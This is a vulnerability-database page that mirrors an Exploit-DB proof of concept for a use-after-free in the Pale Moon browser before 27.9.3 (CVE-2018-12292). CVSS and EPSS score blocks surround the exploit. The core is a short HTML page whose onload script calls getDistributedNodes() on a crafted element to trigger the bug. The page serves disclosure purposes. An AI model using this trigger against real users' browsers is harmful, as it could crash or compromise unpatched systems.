Berk Cem GökselEDB-ID:44900Pale Moon Browser < 27.9.3 - Use After Free (PoC)
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.058 Low
EPSS
Percentile
93.5%
# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC)
# Date: 2018-06-13
# Author - Berk Cem Goksel
# Vendor Homepage: https://www.palemoon.org/
# Software Link: https://www.palemoon.org/palemoon-win32.shtml
# Version: Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)
# Tested on: Windows 10
# Category: Windows Remote Exploit
# CVE : CVE-2018-12292
<html>
<head>
<style>
</style>
<script>
function SetVariable(fuzzervars, var_name, var_type) {
fuzzervars[var_type] = var_name;
}
function jsfuzzer() {
var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList');
}
</script>
</head>
<body onload=jsfuzzer()>
<!-- beginhtml -->
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
<!-- endhtml -->
</body>
</html>Related
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.058 Low
EPSS
Percentile
93.5%